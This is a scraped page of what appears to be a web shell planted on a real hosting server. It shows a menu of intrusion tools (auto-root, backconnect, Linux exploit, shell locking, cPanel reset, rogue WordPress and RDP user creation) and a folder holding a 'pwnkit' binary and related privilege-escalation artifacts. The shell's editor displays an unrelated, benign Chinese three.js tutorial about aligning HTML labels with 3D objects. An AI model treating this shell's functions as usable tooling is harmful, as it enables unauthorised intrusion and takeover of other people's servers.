Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.117.101.7
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
manual /
zh /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
align-html-elements-to-3d.html
32.22
KB
-rw-r--r--
backgrounds.html
14.45
KB
-rw-r--r--
billboards.html
15.58
KB
-rw-r--r--
cameras.html
27.22
KB
-rw-r--r--
canvas-textures.html
18.39
KB
-rw-r--r--
cleanup.html
17.36
KB
-rw-r--r--
custom-buffergeometry.html
23.18
KB
-rw-r--r--
debugging-glsl.html
6.52
KB
-rw-r--r--
debugging-javascript.html
29.66
KB
-rw-r--r--
fog.html
13.8
KB
-rw-r--r--
fundamentals.html
26.4
KB
-rw-r--r--
game.html
1.63
KB
-rw-r--r--
indexed-textures.html
29.6
KB
-rw-r--r--
lang.css
128
B
-rw-r--r--
lights.html
31.49
KB
-rw-r--r--
load-gltf.html
32.08
KB
-rw-r--r--
load-obj.html
32.14
KB
-rw-r--r--
material-table.html
1.87
KB
-rw-r--r--
materials.html
18.42
KB
-rw-r--r--
multiple-scenes.html
30.3
KB
-rw-r--r--
offscreencanvas.html
42.7
KB
-rw-r--r--
optimize-lots-of-objects-anima...
21.74
KB
-rw-r--r--
optimize-lots-of-objects.html
23.04
KB
-rw-r--r--
picking.html
20.44
KB
-rw-r--r--
post-processing-3dlut.html
1.67
KB
-rw-r--r--
post-processing.html
15.63
KB
-rw-r--r--
prerequisites.html
16.58
KB
-rw-r--r--
primitives.html
23.5
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
rendering-on-demand.html
11.88
KB
-rw-r--r--
rendertargets.html
7.87
KB
-rw-r--r--
responsive.html
15.17
KB
-rw-r--r--
scenegraph.html
29.01
KB
-rw-r--r--
setup.html
4.22
KB
-rw-r--r--
shadertoy.html
1.65
KB
-rw-r--r--
shadows.html
26.03
KB
-rw-r--r--
textures.html
31.67
KB
-rw-r--r--
tips.html
16.38
KB
-rw-r--r--
transparency.html
19.22
KB
-rw-r--r--
voxel-geometry.html
1.69
KB
-rw-r--r--
webxr-basics.html
1.6
KB
-rw-r--r--
webxr-look-to-select.html
1.66
KB
-rw-r--r--
webxr-point-to-select.html
1.68
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : align-html-elements-to-3d.html
<!DOCTYPE html> <html lang="zh"> <head> <meta charset="utf-8"> <title>对齐HTML元素到3D对象</title> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@threejs"> <meta name="twitter:title" content="Three.js – Aligning HTML Elements to 3D"> <meta property="og:image" content="https://threejs.org/files/share.png"> <link rel="shortcut icon" href="../../files/favicon_white.ico" media="(prefers-color-scheme: dark)"> <link rel="shortcut icon" href="../../files/favicon.ico" media="(prefers-color-scheme: light)"> <link rel="stylesheet" href="../resources/lesson.css"> <link rel="stylesheet" href="../resources/lang.css"> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../../build/three.module.js" } } </script> <link rel="stylesheet" href="/manual/zh/lang.css"> </head> <body> <div class="container"> <div class="lesson-title"> <h1>对齐HTML元素到3D对象</h1> </div> <div class="lesson"> <div class="lesson-main"> <p>本文是THREE.js系列文章中的一部分。第一篇是 <a href="fundamentals.html">THREE.js 基础</a>,如果你还没有读过或者你是THREE.js新手,你可能需要考虑从那开始。 </p> <p>有时你想在 3D 场景中显示一些文本,这有很多种选择,每一种都有各自的优缺点。</p> <ul> <li> <p>使用 3D 文本</p> <p>如果你看过 <a href="primitives.html">图元章节</a> 你就会看到 <a href="/docs/#api/en/geometries/TextGeometry"><code class="notranslate" translate="no">TextGeometry</code></a> 可以 生成3D文本,这可能对飞行类的Logo很有效,但对统计、信息、标记类不是很合适。</p> </li> <li> <p>使用带2D文本的纹理图</p> <p>这篇文章 <a href="canvas-textures.html">使用Canvas作为纹理</a> 提到Canvas可以作为物体的纹理绘制。你可以向Canvas中绘制文字并且 <a href="billboards.html">以Billboard的方式展示它</a>。这种方法的优点是文本已被集成到3D场景中,像3D场景中的计算机终端,这可能是比较完美的。</p> </li> <li> <p>使用HTML元素并定位它们以匹配3D场景</p> <p>这种方法的好处是您可以使用所有的HTML能力。你的HTML中可以有多个元素,可以通过CSS设置样式,它也可以被用户选中因为它就是实际的文本内容。 </p> </li> </ul> <p>本文将介绍上述的最后一种方法。</p> <p>让我们从简单的开始,我们将使用一些图元制作一个3D场景,然后为每个图元添加一个标签。我们会从这篇<a href="responsive.html">响应式开发</a>中的一个例子开始。 </p> <p>我们会添加一个 <a href="/docs/#examples/controls/OrbitControls"><code class="notranslate" translate="no">OrbitControls</code></a> 就像我们在 <a href="lights.html">这篇光照的文章</a>里做的一样。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no"> import * as THREE from 'three'; +import {OrbitControls} from 'three/addons/controls/OrbitControls.js';</pre> <pre class="prettyprint showlinemods notranslate lang-js" translate="no"> const controls = new OrbitControls(camera, canvas); controls.target.set(0, 0, 0); controls.update();</pre> <p>我们需要提供一个HTML元素来包含我们的标签元素。</p> <pre class="prettyprint showlinemods notranslate lang-html" translate="no"> <body> - <canvas id="c"></canvas> + <div id="container"> + <canvas id="c"></canvas> + <div id="labels"></div> + </div> </body></pre> <p>通过将Canvas元素和 <code class="notranslate" translate="no"><div id="labels"></code> 放在一个父元素里面,我们可以用这个CSS让它们重叠。</p> <pre class="prettyprint showlinemods notranslate lang-css" translate="no"> #c { - width: 100%; - height: 100%; + width: 100%; /* 让我们的容器决定尺寸 */ + height: 100%; display: block; } +#container { + position: relative; /* 作为子元素的相对定位元素 */ + width: 100%; + height: 100%; + overflow: hidden; +} +#labels { + position: absolute; /* 把Label定位在容器内 */ + left: 0; /* 默认定位在左上角 */ + top: 0; + color: white; +}</pre> <p>让我们也为Label本身添加一些CSS。</p> <pre class="prettyprint showlinemods notranslate lang-css" translate="no"> #labels>div { position: absolute; /* 让我们的容器决定尺寸 */ left: 0; /* 默认定位在左上角 */ top: 0; cursor: pointer; /* 当悬浮时,变为一个小手 */ font-size: large; user-select: none; /* 不允许文字被选中 */ text-shadow: /* 创造一个黑色阴影 */ -1px -1px 0 #000, 0 -1px 0 #000, 1px -1px 0 #000, 1px 0 0 #000, 1px 1px 0 #000, 0 1px 0 #000, -1px 1px 0 #000, -1px 0 0 #000; } #labels>div:hover { color: red; }</pre> <p>现在进入我们的代码,我们不必添加太多,我们有一个函数<code class="notranslate" translate="no">makeInstance</code>,可以用来生成立方体。我们现在让它同时添加一个Label元素。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no"> +const labelContainerElem = document.querySelector('#labels'); -function makeInstance(geometry, color, x) { +function makeInstance(geometry, color, x, name) { const material = new THREE.MeshPhongMaterial({color}); const cube = new THREE.Mesh(geometry, material); scene.add(cube); cube.position.x = x; + const elem = document.createElement('div'); + elem.textContent = name; + labelContainerElem.appendChild(elem); - return cube; + return {cube, elem}; }</pre> <p>你可以发现,我们正添加一个 <code class="notranslate" translate="no"><div></code> 到容器里, 每一个立方体各一个。 我们也返回一个对象,包含<code class="notranslate" translate="no">cube</code>和Label元素<code class="notranslate" translate="no">elem</code>。 </p> <p>为了调用它,我们需要为每一个立方体起个名字</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no"> const cubes = [ - makeInstance(geometry, 0x44aa88, 0), - makeInstance(geometry, 0x8844aa, -2), - makeInstance(geometry, 0xaa8844, 2), + makeInstance(geometry, 0x44aa88, 0, 'Aqua'), + makeInstance(geometry, 0x8844aa, -2, 'Purple'), + makeInstance(geometry, 0xaa8844, 2, 'Gold'), ];</pre> <p>剩下的就是在渲染时定位Label元素。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const tempV = new THREE.Vector3(); ... -cubes.forEach((cube, ndx) => { +cubes.forEach((cubeInfo, ndx) => { + const {cube, elem} = cubeInfo; const speed = 1 + ndx * .1; const rot = time * speed; cube.rotation.x = rot; cube.rotation.y = rot; + // 获取立方体中心的位置 + cube.updateWorldMatrix(true, false); + cube.getWorldPosition(tempV); + + // 获取标准化屏幕坐标,x和y都会在-1和1区间 + // x = -1 表示在最左侧 + // y = -1 表示在最底部 + tempV.project(camera); + + // 将标准屏幕坐标转化为CSS坐标 + const x = (tempV.x * .5 + .5) * canvas.clientWidth; + const y = (tempV.y * -.5 + .5) * canvas.clientHeight; + + // 将元素移动到此位置 + elem.style.transform = `translate(-50%, -50%) translate(${x}px,${y}px)`; });</pre> <p>这样我们就有了与物体对齐的Label。</p> <p></p> <div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/align-html-to-3d.html"></iframe></div> <a class="threejs_center" href="/manual/examples/align-html-to-3d.html" target="_blank">点击在新窗口打开</a> </div> <p></p> <p>这里有一些问题我们需要处理。</p> <p>一个是我们旋转对象,一旦它们重叠了,那么它们对应的Label可能也会重叠。</p> <div class="threejs_center"><img src="../resources/images/overlapping-labels.png" style="width: 307px;"></div> <p>另外一个问题是,我们缩小了视野,物体移出了视锥体范围,Label还是在显示。</p> <p>重叠对象的一种解决办法是 <a href="picking.html">用这篇文章中的拾取方法</a>,我们将传递对象在屏幕上的位置,然后调用<code class="notranslate" translate="no">RayCaster</code>来告诉我们和哪些对象相交了。 如果我们的对象不是结果的第一个,说明我们并不在它最前面。 </p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const tempV = new THREE.Vector3(); +const raycaster = new THREE.Raycaster(); ... cubes.forEach((cubeInfo, ndx) => { const {cube, elem} = cubeInfo; const speed = 1 + ndx * .1; const rot = time * speed; cube.rotation.x = rot; cube.rotation.y = rot; // 获取立方体中心的位置 cube.updateWorldMatrix(true, false); cube.getWorldPosition(tempV); // 获取标准化屏幕坐标,x和y都会在-1和1区间 // x = -1 表示在最左侧 // y = -1 表示在最底部 tempV.project(camera); + // 调用Raycast获取所有相交的物体 + // 以相机为起点,物体为终点 + raycaster.setFromCamera(tempV, camera); + const intersectedObjects = raycaster.intersectObjects(scene.children); + // 如果第一个相交的是此物体,那么就是可见的 + const show = intersectedObjects.length && cube === intersectedObjects[0].object; + + if (!show) { + // 隐藏Label + elem.style.display = 'none'; + } else { + // 显示Label + elem.style.display = ''; // 将标准屏幕坐标转化为CSS坐标 const x = (tempV.x * .5 + .5) * canvas.clientWidth; const y = (tempV.y * -.5 + .5) * canvas.clientHeight; // 将元素移动到此位置 elem.style.transform = `translate(-50%, -50%) translate(${x}px,${y}px)`; + } });</pre> <p>这解决了重叠问题。</p> <p>为了处理超出视锥体不可见的问题,我们通过检查 <code class="notranslate" translate="no">tempV.z</code>检查此对象的原点是否在截锥体之外。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">- if (!show) { + if (!show || Math.abs(tempV.z) > 1) { // 隐藏Label elem.style.display = 'none';</pre> <p>这 <em>部分工作</em> 有效是因为我们计算的标准化坐标包含一个<code class="notranslate" translate="no">z</code> 值,它从-1开始,也就是相机视锥体的 <code class="notranslate" translate="no">near</code> 值, +1结束,也就是相机视锥体的 <code class="notranslate" translate="no">far</code>值。</p> <p></p> <div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/align-html-to-3d-w-hiding.html"></iframe> </div> <a class="threejs_center" href="/manual/examples/align-html-to-3d-w-hiding.html" target="_blank">点击在新窗口打开</a> <p></p> <p>对于视锥体检查,上面的解决方案失败了。因为我们只检查对象的原点,对于一个大对象,它的原点可能会超出视锥体,但是对象仍然有一部分处于可视范围内。</p> <p>更正确的解决方案是检查对象本身是否在视锥体中。不幸的是,检查很慢。对于3个立方体来说,这不是问题。但是其他情况不一定。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">// 初始化 const frustum = new THREE.Frustum(); const viewProjection = new THREE.Matrix4(); ... // 在检查前 camera.updateMatrix(); camera.updateMatrixWorld(); camera.matrixWorldInverse.copy(camera.matrixWorld).invert(); ... // 然后,对每一个Mesh someMesh.updateMatrix(); someMesh.updateMatrixWorld(); viewProjection.multiplyMatrices( camera.projectionMatrix, camera.matrixWorldInverse); frustum.setFromProjectionMatrix(viewProjection); const inFrustum = frustum.contains(someMesh));</pre> <p>我们当前的重叠解决方案有类似的问题,拾取很慢。我们可以使用基于GPU的拾取方案, 参考<a href="picking.html">拾取章节</a>,不过它也并非没有代价。使用哪个解决方案取决于你的需要。</p> <p>另外一个问题是Label显示顺序,如果我们修改了代码以生成更长的Label</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const cubes = [ - makeInstance(geometry, 0x44aa88, 0, 'Aqua'), - makeInstance(geometry, 0x8844aa, -2, 'Purple'), - makeInstance(geometry, 0xaa8844, 2, 'Gold'), + makeInstance(geometry, 0x44aa88, 0, 'Aqua Colored Box'), + makeInstance(geometry, 0x8844aa, -2, 'Purple Colored Box'), + makeInstance(geometry, 0xaa8844, 2, 'Gold Colored Box'), ];</pre> <p>然后设置CSS让它们不换行</p> <pre class="prettyprint showlinemods notranslate lang-css" translate="no">#labels>div { + white-space: nowrap;</pre> <p>然后我们可能就会遇到这个问题</p> <div class="threejs_center"><img src="../resources/images/label-sorting-issue.png" style="width: 401px;"> </div> <p>你可以看到紫色盒子在后面,但它的Label却在水蓝色盒子的前面。</p> <p>我们可以修复这个问题,通过给每一个元素设置 <code class="notranslate" translate="no">zIndex</code>。投影生成的位置有一个 <code class="notranslate" translate="no">z</code> 值, -1表示最前面,1表示最后面。 <code class="notranslate" translate="no">zIndex</code> 却是一个整型,并且含义相反, <code class="notranslate" translate="no">zIndex</code>越大表示越靠前,所以下面的代码可能有用。 </p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">// 将标准屏幕坐标转化为CSS坐标 const x = (tempV.x * .5 + .5) * canvas.clientWidth; const y = (tempV.y * -.5 + .5) * canvas.clientHeight; // 将元素移动到此位置 elem.style.transform = `translate(-50%, -50%) translate(${x}px,${y}px)`; +// 设置排序用的zIndex +elem.style.zIndex = (-tempV.z * .5 + .5) * 100000 | 0;</pre> <p>由于投影 z 值的取值限制,我们需要选择一个大数来分散这些值,否则许多Label将具有相同的值。为了保证Label不和页面其他的部分重叠,通过设置 <code class="notranslate" translate="no">z-index</code> 给Label的容器,我们可以让浏览器创建一个新的 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">层叠上下文</a> </p> <pre class="prettyprint showlinemods notranslate lang-css" translate="no">#labels { position: absolute; /* 把自己定位在容器内 */ + z-index: 0; /* 创建一个新的层叠上下文,这样子节点就不会和页面其他内容冲突 */ left: 0; /* 默认定位在左上角 */ top: 0; color: white; z-index: 0; }</pre> <p>现在Label应该总是按正确的顺序排列。</p> <p></p> <div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/align-html-to-3d-w-sorting.html"></iframe> </div> <a class="threejs_center" href="/manual/examples/align-html-to-3d-w-sorting.html" target="_blank">点击在新窗口打开</a> </div> <p></p> <p>我们在这里用一个例子说明更多的问题。让我们像谷歌地球一样画一个地球仪并标记国家。</p> <p>我找到 <a href="http://thematicmapping.org/downloads/world_borders.php">这些数据</a>, 包含了各个国家的边界信息,用的协议是 <a href="http://creativecommons.org/licenses/by-sa/3.0/">CC-BY-SA</a>。 </p> 加载这份数据, 可以生成国家的轮廓,大部分都带有国家的名称和定位。</p> <div class="threejs_center"><img src="../examples/resources/data/world/country-outlines-4k.png" style="background: black; width: 700px"></div> <p>JSON数据是一个类似这样结构的数组</p> <pre class="prettyprint showlinemods notranslate lang-json" translate="no">[ { "name": "Algeria", "min": [ -8.667223, 18.976387 ], "max": [ 11.986475, 37.091385 ], "area": 238174, "lat": 28.163, "lon": 2.632, "population": { "2005": 32854159 } }, ...</pre> <p>其中min,max,lat,lon都是经纬度信息。</p> <p>开始加载它,这份代码是基于这篇<a href="optimize-lots-of-objects.html">优化大量对象</a>,尽管我们没有绘制大量对象,但我们将使用 相同的解决办法,和 <a href="rendering-on-demand.html">按需渲染</a> 方案一样。</p> <p>第一件事是创建一个球体,并且使用轮廓纹理。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">{ const loader = new THREE.TextureLoader(); const texture = loader.load('resources/data/world/country-outlines-4k.png', render); const geometry = new THREE.SphereGeometry(1, 64, 32); const material = new THREE.MeshBasicMaterial({map: texture}); scene.add(new THREE.Mesh(geometry, material)); }</pre> <p>然后我们先创建一个loader,来加载JSON文件</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">async function loadJSON(url) { const req = await fetch(url); return req.json(); }</pre> <p>然后调用</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">let countryInfos; async function loadCountryData() { countryInfos = await loadJSON('resources/data/world/country-info.json'); ... } requestRenderIfNotRequested(); } loadCountryData();</pre> <p>现在让我们用这些数据来生成和放置Labels</p> <p>在这一篇文章 <a href="optimize-lots-of-objects.html">优化大量对象</a>, 我们已经创建了一个小辅助对象,以便于计算地球上的经纬度位置,具体可以看看这篇文章是如何解释它们怎么工作的。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const lonFudge = Math.PI * 1.5; const latFudge = Math.PI; // 这些小工具会使得盒模型定位非常容易 // 我们可以旋转lonHelper Y轴上的分量到经度上 const lonHelper = new THREE.Object3D(); // 我们可以旋转latHelper X轴上的分量到纬度上 const latHelper = new THREE.Object3D(); lonHelper.add(latHelper); // positionHelper将对象移动到球体的边缘 const positionHelper = new THREE.Object3D(); positionHelper.position.z = 1; latHelper.add(positionHelper);</pre> <p>我们将使用它去计算每一个Label的位置</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const labelParentElem = document.querySelector('#labels'); for (const countryInfo of countryInfos) { const {lat, lon, name} = countryInfo; // 调整helper,旋转指向经纬度点的位置 lonHelper.rotation.y = THREE.MathUtils.degToRad(lon) + lonFudge; latHelper.rotation.x = THREE.MathUtils.degToRad(lat) + latFudge; // 获取经纬度位置 positionHelper.updateWorldMatrix(true, false); const position = new THREE.Vector3(); positionHelper.getWorldPosition(position); countryInfo.position = position; // 给每一个国家添加一个Label const elem = document.createElement('div'); elem.textContent = name; labelParentElem.appendChild(elem); countryInfo.elem = elem;</pre> <p>上面的代码看起来非常类似于我们为制作立方体Label而编写的代码,每个Label对应一个元素,完成后我们有一个数组 <code class="notranslate" translate="no">countryInfos</code>, 对于我们添加的每个国家/地区都有一个 <code class="notranslate" translate="no">elem</code> 属性代表Label元素 和一个 <code class="notranslate" translate="no">position</code> 代表它的位置。</p> <p>就像我们对立方体所做的那样,我们需要在渲染的时候先更新Label。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const tempV = new THREE.Vector3(); function updateLabels() { // 如果JSON文件还没加载进来,就退出 if (!countryInfos) { return; } for (const countryInfo of countryInfos) { const {position, elem} = countryInfo; // 获取标准化屏幕坐标,x和y都会在-1和1区间 // x = -1 表示在最左侧 // y = -1 表示在最底部 tempV.copy(position); tempV.project(camera); // 将标准屏幕坐标转化为CSS坐标 const x = (tempV.x * .5 + .5) * canvas.clientWidth; const y = (tempV.y * -.5 + .5) * canvas.clientHeight; // 将元素移动到此位置 elem.style.transform = `translate(-50%, -50%) translate(${x}px,${y}px)`; // 设置排序用的zIndex elem.style.zIndex = (-tempV.z * .5 + .5) * 100000 | 0; } }</pre> <p>您可以看到上面的代码与之前的立方体示例基本类似,唯一的区别我们在初始化时预先计算了Label位置,我们可以这样做因为地球上的国家永远不会移动,只有我们的相机在移动。</p> <p>然后我们需要在我们的渲染循环中调用 <code class="notranslate" translate="no">updateLabels</code> </p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function render() { renderRequested = false; if (resizeRendererToDisplaySize(renderer)) { const canvas = renderer.domElement; camera.aspect = canvas.clientWidth / canvas.clientHeight; camera.updateProjectionMatrix(); } controls.update(); + updateLabels(); renderer.render(scene, camera); }</pre> <p>这就是我们得到的结果</p> <p></p> <div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/align-html-elements-to-3d-globe-too-many-labels.html"></iframe> </div> <a class="threejs_center" href="/manual/examples/align-html-elements-to-3d-globe-too-many-labels.html" target="_blank">点击在新窗口打开</a> </div> <p></p> <p>整出了密集恐惧症!</p> <p>现在有两个问题:</p> <ol> <li> <p>出现了背对我们的Label</p> </li> <li> <p>Label真的太多了</p> </li> </ol> <p>对于 问题#1 我们不能像上面那种方式使用 <code class="notranslate" translate="no">RayCaster</code> ,因为除了地球以外没有什么可相交的。相反,我们可以 检查特定的国家是否远离我们,这是可行的,因为Label的位置围绕的是一个球体。事实上,我们使用的是一个半径1.0的单位球体,这意味着这些位置已经是单位向量,数学计算上比较简单。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const tempV = new THREE.Vector3(); +const cameraToPoint = new THREE.Vector3(); +const cameraPosition = new THREE.Vector3(); +const normalMatrix = new THREE.Matrix3(); function updateLabels() { // 如果JSON文件还没加载进来,就退出 if (!countryInfos) { return; } + const minVisibleDot = 0.2; + // 获取表示相机相对方向的变换矩阵 + normalMatrix.getNormalMatrix(camera.matrixWorldInverse); + // 获取相机的世界坐标 + camera.getWorldPosition(cameraPosition); for (const countryInfo of countryInfos) { const {position, elem} = countryInfo; + // 根据相机的方向定位位置 + // 由于球体在原点并且球体是半径为1.0的单位球体 + // 这就能获取相对于相机的单位向量 + tempV.copy(position); + tempV.applyMatrix3(normalMatrix); + + // 计算从相机到这个位置的方向向量 + cameraToPoint.copy(position); + cameraToPoint.applyMatrix4(camera.matrixWorldInverse).normalize(); + + // 求得相机方向 和相机连点方向 的点积. + // 1 = 正对相机 + // 0 = 相对于相机而言,位于球体的边缘 + // < 0 = 远离相机 + const dot = tempV.dot(cameraToPoint); + + // 如果方向不面向我们,隐藏它 + if (dot < minVisibleDot) { + elem.style.display = 'none'; + continue; + } + + // 将元素恢复为其默认显示样式 + elem.style.display = ''; // 获取标准化屏幕坐标,x和y都会在-1和1区间 // x = -1 表示在最左侧 // y = -1 表示在最底部 tempV.copy(position); tempV.project(camera); // 将标准屏幕坐标转化为CSS坐标 const x = (tempV.x * .5 + .5) * canvas.clientWidth; const y = (tempV.y * -.5 + .5) * canvas.clientHeight; // 将元素移动到此位置 countryInfo.elem.style.transform = `translate(-50%, -50%) translate(${x}px,${y}px)`; // 设置排序用的zIndex elem.style.zIndex = (-tempV.z * .5 + .5) * 100000 | 0; } }</pre> <p> 上面我们使用位置作为方向向量并获得相对于相机的位置,点乘得到向量之间的余弦值,这给了我们一个-1到1之间的值,其中-1表示正对相机,0表示相对于相机球体的边缘上,大于0表示处在后方。然后我们使用该值来显示或隐藏元素。 </p> <div class="spread"> <div> <div data-diagram="dotProduct" style="height: 400px"></div> </div> </div> <p> 在上图中,我们可以看到Label方向的点乘方向是从相机指向该位置的方向。如果你旋转角度,你会看到正对相机时点乘结果为-1.0,正好在球体相对相机的切线上时为0.0,或者换一种说法,两个向量互相垂直点乘结果为0,夹角大于90度时,Label在球体后面。 </p> <p>对于 问题#2,Label太多了,我们需要一些方法来决定显示哪些。一种方式是只显示大国的Label,我们加载的数据包含一个国家包含经纬度的最大和最小值,从中我们可以计算出一个区域,然后用它来判断是否显示国家。 </p> <p>开始的时候我们先计算区域面积</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const labelParentElem = document.querySelector('#labels'); for (const countryInfo of countryInfos) { const {lat, lon, min, max, name} = countryInfo; // 调整helper,旋转指向经纬度点的位置 lonHelper.rotation.y = THREE.MathUtils.degToRad(lon) + lonFudge; latHelper.rotation.x = THREE.MathUtils.degToRad(lat) + latFudge; // 获取经纬度位置 positionHelper.updateWorldMatrix(true, false); const position = new THREE.Vector3(); positionHelper.getWorldPosition(position); countryInfo.position = position; + // 计算每个国家的面积 + const width = max[0] - min[0]; + const height = max[1] - min[1]; + const area = width * height; + countryInfo.area = area; // a给每一个国家添加一个Label const elem = document.createElement('div'); elem.textContent = name; labelParentElem.appendChild(elem); countryInfo.elem = elem; }</pre> <p>然后在渲染时让我们根据区域来决定是否显示Label</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">+const large = 20 * 20; const maxVisibleDot = 0.2; // 获取表示相机相对方向的变换矩阵 normalMatrix.getNormalMatrix(camera.matrixWorldInverse); // 获取相机的世界坐标 camera.getWorldPosition(cameraPosition); for (const countryInfo of countryInfos) { - const {position, elem} = countryInfo; + const {position, elem, area} = countryInfo; + // large enough? + if (area < large) { + elem.style.display = 'none'; + continue; + } ...</pre> <p>最后,由于我不确定这些值设多少好,于是添加一个GUI,就可以调试了</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">import * as THREE from 'three'; import {OrbitControls} from 'three/addons/controls/OrbitControls.js'; +import {GUI} from 'three/addons/libs/lil-gui.module.min.js';</pre> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">+const settings = { + minArea: 20, + maxVisibleDot: -0.2, +}; +const gui = new GUI({width: 300}); +gui.add(settings, 'minArea', 0, 50).onChange(requestRenderIfNotRequested); +gui.add(settings, 'maxVisibleDot', -1, 1, 0.01).onChange(requestRenderIfNotRequested); function updateLabels() { if (!countryInfos) { return; } - const large = 20 * 20; - const maxVisibleDot = -0.2; + const large = settings.minArea * settings.minArea; // 获取表示相机相对方向的变换矩阵 normalMatrix.getNormalMatrix(camera.matrixWorldInverse); // 获取相机的世界坐标 camera.getWorldPosition(cameraPosition); for (const countryInfo of countryInfos) { ... // 如果方向不面向我们,隐藏它 - if (dot > maxVisibleDot) { + if (dot > settings.maxVisibleDot) { elem.style.display = 'none'; continue; }</pre> <p>结果出来了</p> <p></p> <div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/align-html-elements-to-3d-globe.html"></iframe> </div> <a class="threejs_center" href="/manual/examples/align-html-elements-to-3d-globe.html" target="_blank">点击在新窗口打开</a> </div> <p></p> <p>你可以看到,随着你的旋转,后面地球的Label消失了。 调整 <code class="notranslate" translate="no">minVisibleDot</code> 可以查看阈值的变化。 你也可以调整 <code class="notranslate" translate="no">minArea</code> 可以看到更大或更小的国家出现。</p> </div> <p> 我在这方面做得越多,就越意识到谷歌地图做了多少工作。他们还必须决定使用哪些Label来显示。我很确定他们使用各种信息,例如你现在的位置、你的默认语言设置、你的帐户设置(如果你有的话),他们可能使用人口数量或人气程度,他们可能会优先考虑到视图中心的国家,等等……要考虑很多。 </p> <p>无论如何,我希望这些示例能让你了解如何用HTML对齐你的3D元素,我也或许会做出小小的贡献。</p> <p>下一步我们来实现 <a href="indexed-textures.html">拾取和高亮一个城市</a>。</p> </div> </div> </div> <p> <link rel="stylesheet" href="../resources/threejs-align-html-elements-to-3d.css"> </p> <script type="module" src="../resources/threejs-align-html-elements-to-3d.js"></script> <script src="../resources/prettify.js"></script> <script src="../resources/lesson.js"></script> </body> </html>
Close